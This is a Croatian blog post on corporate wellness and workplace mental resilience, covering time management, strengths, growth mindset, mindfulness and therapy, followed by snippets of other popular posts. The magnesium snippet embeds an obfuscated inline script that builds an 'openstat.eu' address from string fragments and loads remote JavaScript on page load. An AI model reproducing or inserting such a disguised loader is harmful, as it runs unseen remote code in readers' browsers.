CORPORATE WELLNESS - NAVIKE KOJE JAČAJU MENTALNU OTPORNOST NA POSLU


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Corporate wellness - navike koje jačaju mentalnu otpornost na poslu 

https://grazia.hr/mentalna-otpornost-na-poslu/

Corporate wellness sve je češći naziv sveobuhvatnih programa koje bi poslodavci trebali implementirati kako bi pridonijeli mentalnom zdravlju i općem zadovoljstvu zaposlenika, što se na kraju osjeti i na produktivnosti. I dok se to uvijek treba zahtijevati i isticati, realnost je da stvari prvo možemo mijenjati sami.




Iskoristite tehnike organizacije vremena

Dobra organizacija dana uvelike pomaže u izbjegavanju osjećaja preplavljenosti. Počnite s izdvajanjem deset minuta svakog jutra za planiranje posla. Identificirajte kad u danu imate najviše energije i u tim satima obavite najvažniji dio posla, dok manje zahtjevne zadatke ostavite za periode niske energije. Kreirajte liste prioriteta i koristite različite tehnike organizacije vremena. Primjerice, time blocking je metoda u kojoj predviđate točne sate za odradu pojedinih zadataka. Tu je i metoda 3-3-3, koja strukturira tri sata za duboki rad, tri sata za hitne, usputne zadatke i tri za regularne zadatke. Iako se multitasking često glorificira, fokusiranje na jedan zadatak u određeno vrijeme pomaže u postizanju ciljeva.



Oslonite se na svoje prednosti

Psihološka otpornost uvelike se oslanja na to da smo u skladu sa svojim snagama, dugoročnim ciljevima i željama. Identificirajte tri svoje najveće prednosti u poslu i u poslovnim projektima razmišljajte kako s tim snagama možete doprinijeti umjesto da zapinjete na zadacima koji ne koriste vaše prednosti i prisiljavaju vas na ono što vam ne ide. Pronađite male načine za to da svoje prednosti iskoristite tijekom radnog dana. Naravno, neki projekti zahtijevaju bavljenje i onime što vam ne leži, ali dok to nije suština vašeg posla, neće vas preplavljivati ni dovoditi do osjećaja razočaranja u sebe.



Radite na razvoju growth mindseta

Otpornost se jača promjenom perspektive i učenjem prilagodbe. Poslovni zadaci, posebno u današnjem digitaliziranom dobu, uvijek traže agilnost jer se posao neprestano mijenja. Otpornost znači da promjene učimo gledati kao priliku za rast i učenje umjesto kao prijetnju. Takozvani growth mindset pomaže nam da učimo kroz izazovne periode; umjesto da nas koče, pitamo se kako se neka situacija dogodila, što možemo naučiti iz nje i kakav napredak smo postigli. Temelji se na prihvaćanju posla kao procesa razvoja, a ne kao nečeg što od nas stalno zahtijeva savršenstvo.



Isprobajte male mindfulness tehnike

Tehnike mindfulnessa mogu pomoći u opuštanju tijela i uma čak i na radnome mjestu. Na prvome su mjestu tehnike svjesnog disanja, pri čemu vrijedi izdvojiti pet minuta tijekom radnog dana da se fokusiramo isključivo na mirne, duboke udisaje, što smanjuje trenutni stres i vraća fokus. Još jedna metoda je body scan, pri kojoj mentalno skeniramo vlastito tijelo, primjećujemo napetost i svjesno opuštamo mišiće. Pomaže nam da se fizički bolje osjećamo i mentalno vratimo pažnju na tijelo. Mindful pauze od nekoliko minuta mogu vam pomoći da se vratite u kontakt sa sobom samim – primjerice, samo promatranje i osjećanje senzacija, zvukova ili svjetla oko sebe može pomoći da “restartate” um.



Odlučite se na psihoterapiju

Ponekad je, bez obzira na sve navedeno, nemoguće izbjeći osjećaj stalnog pritiska i tjeskobe. U takvim slučajevima pravi korak je potražiti profesionalnu pomoć i psihoterapiju koja će biti fokusirana isključivo na vaše potrebe. Ponekad je ključ otpornosti u dubljim uvjerenjima koja nosimo o vlastitoj vrijednosti, postavljanju granica ili pronalaženju smisla u onome što radimo.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više